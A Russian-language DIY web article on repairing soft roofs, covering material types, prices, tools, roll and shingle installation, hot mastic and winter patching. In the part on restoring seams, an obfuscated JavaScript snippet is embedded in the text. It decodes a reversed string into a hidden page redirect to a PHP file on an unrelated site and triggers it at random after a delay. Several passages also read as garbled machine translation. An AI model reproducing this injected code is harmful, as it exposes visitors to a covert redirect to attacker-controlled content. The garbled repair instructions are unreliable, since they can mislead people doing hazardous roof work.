Мягкая кровля: технология ремонта своими руками

Классификация и особенности мягких кровельных покрытий

Все мягкие кровельные материалы делятся на три группы:

• Подкладочные;
• Кровельные;
• Гидроизоляционные.

Из наиболее распространенных и популярных материалов стоит выделить марки Стеклоэласт, Унифлекс, Техноэласт и Линокром. Представленные покрытия обладают всеми необходимыми качествами и уже давно были оценены по достоинству как неопытными мастерами, так и профессиональными строителями.

Если же говорить непосредственно о мягких кровельных материалах, то самыми популярными являются:

1. Пергамин. Пергамин представляет собой картон, который был пропитан составом на основе нефти.
2. Картон. Этот материал является основой для дегтевых и гидроизоляционных кровельных покрытий. Его всегда укладывают в нижних частях мягкого ковра.
3. Толь. В основе толя также лежит картон, но в данном случае его обрабатывают дегтевыми веществами. Толь может выпускаться как без покрытия, так и с песчаной посыпкой разных фракций. Данный материал отличается хорошими гидроизоляционными свойствами и обычно укладывается на верхней части кровельного ковра.
4. Черепица. Мягкая кровельная черепица включает в себя стекловолокно, обработанное битумом и дегтевыми составами. Сверху черепица покрывается минеральной крошкой, придающей материалу хорошую защиту от большинства внешних воздействий.
5. Рубероид.

Все описанные материалы могут использоваться при монтаже кровли как самостоятельно, так и в качестве изоляционного слоя.

Цены

Стоимость ремонта кровли мягкого типа зависит от вида работ, степени повреждений.

Так, ремонт квадратного метра мягкой кровли (без учета стоимости замены покрытия свесов и парапетов) следующая. Ремонт кровли в один слой – с учетом частичного (до 20%) вскрытия старого кровельного ковра, с включением стоимости материалов – обойдется в 260 рублей за кв. метр; без материалов – 170 рублей за кв. метр

Ремонтирование кровли в два слоя, также с учетом частичного (до 20%) вскрытия кровельного ковра: со стоимостью материалов – от 430 рублей за кв. метр; без материалов – 255 рублей за кв. метр.

Ремонт кровли в два слоя с полным снятием старого кровельного покрытия и частичным ремонтом стяжек (до 20%) с учетом цены материалов стоит от 540 рублей за кв. метр; без материалов – 320 рублей за квадратный метр.

Оборудование для строительства и ремонтных работ

Прежде чем приступить к ремонту, вы должны тщательно рассчитать количество необходимых кровельных материалов и составить подробный рабочий план. Это значительно сократит время ремонта.

Для восстановления крыши вам понадобятся:

• газовая горелка, редуктор;
• резак;
• труба;
• шпатель;
• строительная рулетка;
• мастика битумная.

Современный рынок строительных материалов предлагает большой выбор рулонных покрытий для крыши.

Материалы бывают для устройства:

Материалы верхнего слоя покрыты минеральными связующими частицами, которые защищают от солнечного света. Толщина рулонных материалов нижнего слоя составляет 4,5−5 мм.

К кому обращаться

Капитальный ремонт кровли многоквартирного дома – это очень трудоемкая и затратная работа. Хотя ремонт кровли можно выполнить и своими силами, существуют структуры, в обязанности которых входит обслуживание многоэтажных домов.

Производить своевременный ремонт должны такие службы как муниципалитет или управляющая компания (УК).

Примечание! Как гласит действующий федеральный закон РФ №185, жильцы могут обращаться в соответствующие структуры, например, в ЖКХ для финансирования ремонта кровельной системы.

Однако стоит понимать, что большинство управляющих компаний тратят деньги не рационально и не спешат производить ремонт в многоэтажках. Поэтому, если требуется капитальный или частичный ремонт кровли, то необходимо проявить требовательность и настойчивость. Кроме того, все покупки следует фиксировать документами.

Примечание! Иногда бывает, что в управляющей компании не хватает накопленных средств для оплаты ремонта кровли. Например, это может быть связано с тем, что недавно уже производился капитальный ремонт и средств не осталось. В таком случае Управляющая компания предлагает варианты решения вашей проблемы. Зачастую УК поднимает тарифы по статье «капитальный ремонт». Благодаря этому можно быстро насобирать денег на новую кровлю. Но поднимать тариф или нет решается на общем собрании.

https://youtube.com/watch?v=9eE0AhikrOs

Но если бегать в ЖКХ или обращаться в суд вы не хотите, то можно произвести текущий ремонт своими силами. Жилой дом может быть панельный, покрытым битумным покрытием или со скатной кровлей. Поэтому давайте рассмотрим как произвести ремонт данных типов крыш.

Ремонт плоских крыш

Ремонт наплавляемого покрытия крыши зависит от масштабов и характера повреждений. Для начала нужно обследовать крышу и найти место протекания. Если кровельный материал не слишком старый и не имеет трещин или большого износа, то можно произвести местный ремонт.

Местный ремонт включает в себя ремонт отдельного участка рубероида, а не замену всего покрытия. Для начала, нужно найти место протекания и обрезать материал вокруг него как минимум на 50 см. Скорее всего под материалом будет влага, поэтому бетонную плиту нужно просушить и только после этого можно укладывать новый рубероид или залить дыру жидкой резиной.

Но стоит понимать, что если кровельное покрытие слишком старое, то латать его бессмысленно. Протечки будут постоянно, поэтому есть необходимость в капитальном ремонте. Капитальный ремонт включает в себя:

• демонтаж старого покрытия;
• качественная подготовка основания;
• монтаж тепло- и гидроизоляции;
• монтаж нового кровельного покрытия.

Ремонт скатной кровли

При обнаружении протечек скатная кровля должна быть тщательно обследована сначала с наружной стороны, а потом с внутренней. При обнаружении трещин, поверхность необходимо очистить от грязи и при тщательно просушить. Для того чтобы обезжирить поверхность, можно использовать ацетон, после чего обработанное место нужно прогрунтовать. После этого щели или трещины можно заполнить пластырем на полиуретановой основе. Иногда трещины на шифере заделывают битумной мастикой или строительной пеной.

Но зачастую недостаточно сделать поверхностный ремонт. Бывает, что требуется не только заменить шифер или черепицу, но и всю стропильную систему. Чтобы узнать состояние стропильных балок, нужно осмотреть нет ли на их поверхности гнили, плесени или трещин. Если стропила не прогнили, то их нужно очистить от гнили и обработать антисептиком.

Для того чтобы сделать ремонт кровли качественно, обязательно нужно установить слой гидроизоляции и утеплителя. В качестве нового кровельного материала отлично подойдет профлист. Технология укладки профлиста очень простая. Работа производится следующим образом:

• демонтируется старое кровельное покрытие;
• снимается старая обрешетка, после чего укладывается гидроизоляция;
• набивается и выравнивается обрешетка;
• устанавливается профлист.

Совет! Для крепления профлистов нужно использовать только саморезы со специальной резиновой шайбочкой. Кровельные саморезы не будут пропускать влагу в просверленные отверстия, продлив эксплуатационный срок кровли. Закручивать кровельные саморезы нужно только в нижнюю волну листа.

Покрытие кровли рулонными материалами

Устройство плоских крыш допускает использование рулонных материалов, полосы которых настилают внахлест, причем в одном и том же направлении:

• когда уклон кровли плоской более 5 %, тогда наружная ширина нахлеста равна 10 сантиметрам, а внутренняя – 7 сантиметрам;
• когда наклон не превышает 5%, ширина нахлеста для всех слоев составляет не менее 10 сантиметров.

Если в процессе наклейки полотнище отклонилось от своего расположения, его надо попытаться вернуть на место не отклеивая материал. Но в случае, если сместить невозможно, приклеенный кусок отрезают и полотнище приклеивают заново, соблюдая 10-сантиметровый нахлест.

Когда выполняют устройство плоской кровли, полосы рулонного материала укладывают слоями (детальнее: «Устройство рулонной кровли — свойства покрытия «). Если монтаж производят на жидкую мастику, каждый слой клеят с интервалом, который не может быть менее 12 часов.

Особенности устройства плоских крыш, детальное видео:

Устройство гибкой черепицы

Гибкую черепицу в общем можно представить как стеклохост, который пропитали битумом. Ее основной слой заключен между слоями окисленного битума, содержащего полимерные добавки. Благодаря этим прослойкам, материал приобретает прочность и пластичность. Свою окраску он получает за счет гранулятов разных цветов, которыми покрыт верхний слой. Они одновременно выполняют и защитную функцию, оберегая материал от УФ-излучения и воздействия атмосферы. В последнее время производители снабжают материал нижним клеящим слоем, который чаще всего закрыт монтажной пленкой. Такое устройство материала не только упрощает его монтаж, но повышает качество укладки, так как увеличивает сцепляемость с основанием и лучше герметизирует покрытие.

Технологический процесс ремонта кровли

обеспечивает комфорт

Прокладка верхнего слоя мягкого рулона осуществляется с использованием битумно-полимерного материала, который образует одно эластичное покрытие, способное выдерживать механическую и температурную деформацию подложки. Мастика для ремонта качественной мягкой кровли может использоваться как в холодном, так и в горячем виде.

Холодная мастика (битум) используется для ремонта внутренних слоёв крыши, горячего материала (смолы) — в качестве внешнего покрытия. Обязательным условием всегда является содержание битума и смеси порошкообразного типа в мастике, например, гипса, извести и золы.

рабочая смесь

Чтобы подготовить горячую мастику, вам нужен котёл, в котором битум необходимо нагреть до 200 градусов, медленно добавив наполнитель. Во время процесса смешивания температура не должна быть ниже 160 градусов, в противном случае масса битума будет низкого качества.

Следует помнить, что нагретый битум следует выливать в бензин, но не бензин в битум. Смешайте содержимое котла с деревянной палочкой. Битумная мастика не предназначена для длительного хранения, необходимо сразу начать работу с ней после подготовки.

Основные рекомендации

После того, как было принято решение завершать пирог крыши дома с применением мягкой черепицы, требуется задуматься об ее укладке своими руками. Монтаж не сложен, но технология имеет некоторые особенности. Можно привести следующие рекомендации по выполнению работ:

Материал после покупки хранят в закрытом помещении. Листы укладывают в горизонтальном положении в поддоны, высота которых принимается не более 16 рядов. Подкладочный ковер, который применяется для грунтовки и выравнивания поверхности под черепицу для хранения ставят в вертикальное положение.

Для создания благоприятных температурных условий в подкровельном пространстве потребуется выполнить теплоизоляцию. Подбор типа утеплителя осуществляется в зависимости от предпочтений и финансовых возможностей владельца дома. Чаще всего осуществляется монтаж минеральной ваты

Технология укладки данного материала предполагает наличие надежной гидроизоляции и пароизоляции
Кроме этого для удаления паров жидкости с поверхности утеплителя между ним и кровельным покрытием предусматривают вентилируемый воздушный зазор, ширина которого в среднем назначается 5 см.

При покупке кровельного материала важно обращать внимание на партию товара. Крыша будет смотреться лучше, если применять материалы, изготовленные в одно время в одном месте
В этом случае можно гарантировать точное совпадение по цвету и физическим характеристикам

Монтаж мягкой черепицы не проводится при отрицательных температурах

Это вызвано тем, что материал на холоде становится хрупким и его легко можно повредить при закреплении в пирог.

Для укладки материала своими руками минимальный угол ската должен составлять 15 градусов. Монтаж при меньшем не гарантирует гидроизоляцию, поскольку жидкость по поверхности движется достаточно медленно и легко может затечь в небольшие зазоры. При этом стоит учитывать правило, что для битума уклон кровли не может быть слишком большим и помнить, что чем больше наклонена крыша, тем больше материала потребуется на пирог.

Монтаж мягкой черепицы своими руками проводится без применения горелки. Этот материал не относится к классу наплавляемых. Для дополнительного закрепления (при сильных ветровых нагрузках) используют специальные клеевые растворы.
Отклеивать прозрачную защитную пленку с внутренней поверхности нужно непосредственно перед укладкой на пирог.

При выполнении работ своими руками важно помнить, что не разрешается ходить по кровле без специальных приспособлений в солнечную теплую погоду. Это вызвано тем, что материал слегка расплавляется под действием солнечных лучей, и человек, выполняющий монтаж, может оставить на поверхности следы от обуви, которые не устранить без замены части покрытия

В качестве основания под черепицу используют сплошной материал. Пирог может включать сплошную обрешетку или разреженную с последующей укладкой на нее влагостойкой фанеры. Монтаж непосредственно на утеплитель запрещен.

Если соблюсти эти рекомендации, то кровля с облицовкой гибкой черепицей будет радовать своего владельца долгие годы.

Ремонт мягкой кровли в зимний сезон

Иногда необходимость ремонта возникает зимой. Если крыша начала течь в зимнее время, единственным возможным решением является установка латки на место течи.

Поскольку невозможно осуществить укладку рулонной наплавляемой гидроизоляции на мокрое основание, необходимо поврежденное место просушить с помощью газовой горелки.

После этого от рулона отрезают нужное количество материала и начинают нагревать его плавными движениями газовой горелки. Надо следить за тем, чтобы прогрев происходил равномерно. С нижней стороны наплавляемые материалы покрыты особой пленкой, изменение рисунка которой является свидетельством того, что материал разогревается правильно. Тщательно разогретый кусок надо приложить на место течи и приклеить, выравнивая и пристукивая руками.

Чтобы защитить кровлю в зимнее время, следует на ней оставлять небольшой слой снега (около 5 см). Он будет защищать кровлю от негативного влияния внешних факторов.

Последовательность работ своими руками

Последовательность ремонта кровли зависит от используемого кровельного материала. Это могут быть как прокатываемые плавкие материалы, так и гибкие плитки. Технологически их укладка зависит от варианта самой крыши.

Любой ремонт поверхностей начинается с приготовления субстрата

Очень важно всегда выполнять эту задачу, иначе даже самые современные кровельные материалы не будут служить долго

Текущий ремонт может быть выполнен двумя способами:

• частичная замена кровельного покрытия;
• настил новых слоёв по всей площади покрытия.

Если вы собираетесь просто залатать крышу, вам нужно сократить все повреждённые места. Поверхность под камерами тщательно очищается и грунтуется. Налейте горячую мастику и наклейте рулонное покрытие. Площадь пата должна быть больше, чем поверхность, которая должна быть восстановлена, по крайней мере, на треть. Края тщательно закрыты.

Такой ремонт оправдан с очень небольшим количеством повреждений кровли. В лучшем случае ваш пат будет служить 3−4 года.

На небольших крышах вполне возможно заложить новую кровлю из депонированных материалов, не снимая старую. Если такой ремонт уже выполнен, следует отметить, что каждый слой кровли увеличивает нагрузку (около 1,5−2 кг на квадратный метр).

Убедившись, что ваша крыша способна противостоять этому, и что старый кровельный материал не находится в плачевном состоянии, вы можете начать готовить материал. После устранения дефектов и очистки его, закройте новую мягкую крышу двумя слоями обычным способом.

Капитальный ремонт обычно включает не только демонтаж старой крыши, но и ремонт всех частей крыши — ограждений, парапетов, желобов и водоприёмников. При необходимости производится частичная стяжка или стяжка общей площади крыши.

Вы можете удалить старое покрытие с помощью специальной машины, или вы можете использовать метод ручной реставрации — с топором и металлическим шпателем или скребком. Основание, независимо от того, что вы будете делать дальше, должно быть очищено от пыли, грязи и обезжирено. Если на нем нет сильных дефектов — ям, больших выбоин, вы можете обойтись без стяжки. Но по-прежнему необходимо частично восстановить основание — желательно, чтобы поверхность была плоской, сухой и чистой.

https://youtube.com/watch?v=wuJx6qsTTLI

Сегодня каменные плавкие кровельные материалы изготовлены из прочных составов (полиэфир, стекловолокно) с добавлением специальных модификаторов. Обе стороны покрыты полимерно-битумным составом. Верхний слой обычно защищён минеральными наполнителями, а нижний слой покрыт специальной плёнкой. Срок службы покрытия, в зависимости от модификатора, составляет от 10 до 30 лет. Хорошо сделанный ремонт даст вашей крыше простоять ещё пару десятилетий и защитит дом от осадков. Крыша на плоском основании выполняется в несколько слоёв.

Установка рулонных материалов довольно проста: газовая горелка нагревает нижний битумный слой, приклеивают лист к основанию и все прокатывают. Рулоны выкатываются с перекрытием 15 см, швы тщательно склеены. Второй слой монтируется поверх первого. В результате вы получите практически полное покрытие

Особое внимание при установке крыши следует придавать герметизации

Технология ремонта

Практически любой тип дефекта можно устранить самостоятельно. Особых навыков и инструментов не понадобится, придется купить разве что кровельный материал для замены поврежденного участки и обзавестись горелкой/строительным феном.

Восстановление наплавляемой кровли

Самый простой вид ремонта – восстановление герметичности разошедшихся стыков.

Для этого нужно:

• развести края материала в стороны, очистить основание под ним;
• для обеспечения сцепления кровельного материала с основанием на него наносится разогретый битум, материал прижимается к основанию;
• стыки дополнительно обрабатываются битумом.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tom-primere-razoshedshiesya-styki-prosto-zalili.jpg» alt=»В этом примере разошедшиеся стыки просто залили смолой» width=»400″ height=»314″ /> В этом примере разошедшиеся стыки просто залили смолой

Капитальный ремонт наплавляемой кровли выполняется в тех случаях, когда кровля находится в катастрофическом состоянии.

В состав работ входит:

полное удаление кровельного материала, цементной стяжки, слоя теплоизоляции;
кровельный пирог устраивается заново, особое внимание уделяется уклону поверхности;
заново выполняется монтаж теплоизоляции, стяжки, кровельного материала и защитного слоя.

При капитальном ремонте полностью восстанавливается кровельный пирог

По стоимости капитальный ремонт может даже превышать стоимость устройства кровли с нуля. Дело в том, что в стоимость закладывается еще и работа по демонтажу отслужившей свое кровли.

Самостоятельный ремонт небольших дефектов

Мембранная кровля может использоваться и в частном строительстве.

Для устранения локальных дефектов вызывать специалистов бессмысленно, поэтому разберем способы устранения основных дефектов:

небольшая пробоина – устраняется обычной заплаткой. Вырезается она из мембраны того же производителя, что и основной кровельный материал, габариты примерно на 5-7 см больше, чем размеры пробоины. За счет сварки заплатка надежно фиксируется на месте;

Схема ремонта мембранной кровли

Строение ленты на бутил-каучуковой основе

вздутия на поверхности можно устранить по той же схеме, что и пузыри на обоях. Вздутие надрезается крест-накрест, лепестки разводятся и проблемное место просушивается. Затем лепестки фиксируются на основании (с помощью битумной мастики, гвоздей). Дополнительно места разреза обрабатываются битумом;

Пузырь разрезается и приклеивается к основанию

места застаивания воды на плоской кровле можно отремонтировать только исправлением ровности бетонного основания. Кровельный материал удаляется, на проблемное место укладывается бетонная смесь, высушивается и заново укладывается мягкий кровельный материал.

Ремонт битумной черепицы

В большинстве случаев причина проблем с битумной черепицей – ее повреждение в холодное время года. В мороз она становится хрупкой и даже малая нагрузка приводит к возникновению трещин, результатом всего этого может стать отрыв лепестка, такой дефект желательно исправить сразу же.

Смета на ремонт мягкой кровли такого типа будет минимальной – чаще всего ремонт сводится к простой замене гонта либо даже отдельного лепестка (если оторвался один, то менять весь гонт смысла нет).

Работа выполняется в таком порядке:

• поврежденный лепесток нужно ровно обрезать и удалить, для этого нужно приподнять 2 ряда над поврежденным;
• после этого удаляются крепления, фиксирующие черепицу и срезается поврежденный лепесток;
• из запасного гонта вырезается целый лепесток, промазывается с изнанки битумной мастикой и фиксируется на месте удаленного, выравнивается и окончательно закрепляется гвоздями;
• для надежности шляпки гвоздей также промазываются мастикой, как и изнанка приподнятых рядов черепицы.

Для герметичности изнанка рядов черепицы промазывается мастикой

Еще один распространенный дефект – течь на примыканиях к трубам, также могут быть проблемы с гидроизоляцией в ендовах. Для устранения проблемы снимают черепицу с проблемного места восстанавливают гидроизоляцию и заново устанавливают черепицу. При течь в месте стыка с трубой проблему решает установка нового воротника из жести или пластика.

Инновационные направления в выполнении ремонта гибкой черепицы

Сезонные температурные перепады притягивают за собой разрушительные результаты для мягкого покрытия, приводя к растрескиванию, вздутию и оголению участков кровли. Используя старые варианты, потребность в выборочном или кап. ремонте кровельного полотна появляется раз в 1-2 года, неся с собой добавочные затраты по разборке древнего и приобретению нового материала. Технология ремонта мягких крыш с использованием жидкой резины – сравнительно новый и не опасный способ, обширно использующийся в нынешнем строительстве.

Инновационная технология дает возможность убрать текущий и капремонт крыши на период порядка 30-50 лет благодаря подобным хорошим данным, как:

• защищенность – двухкомпонентная эмульсия на водной полимерно-битумной основе наноситься специализированным оборудованием способом прохладного напыления, вычёркивающего появление пожара при выполнении работ по строительству; в составе субстанции не содержатся вредоносные летучие соединения;
• долговечность – материал, нанесённый на поверхность, фактически сразу застывает, образовывая хорошую резиновую мембрану, стойкую к большим и малым температурам;
• большая гибкость – показатель максимального удлинения покрытия которое готово формирует более 1000%, что наделяет этот материал способностью к «самозаживлению».

Современная технология ремонта гибкой черепицы дома уже давно стала очень популарной у заграничных компаний которые занимаются строительством благодаря отсутствию минусов, свойственных устаревшему способу, построенному на использовании мягких битумных покрытий. Жидкую резину можно применять как на плоских, так и на скатных системах, а обычность нанесения полотна дает возможность сделать все работу, не склоняясь к помощи профессионалов.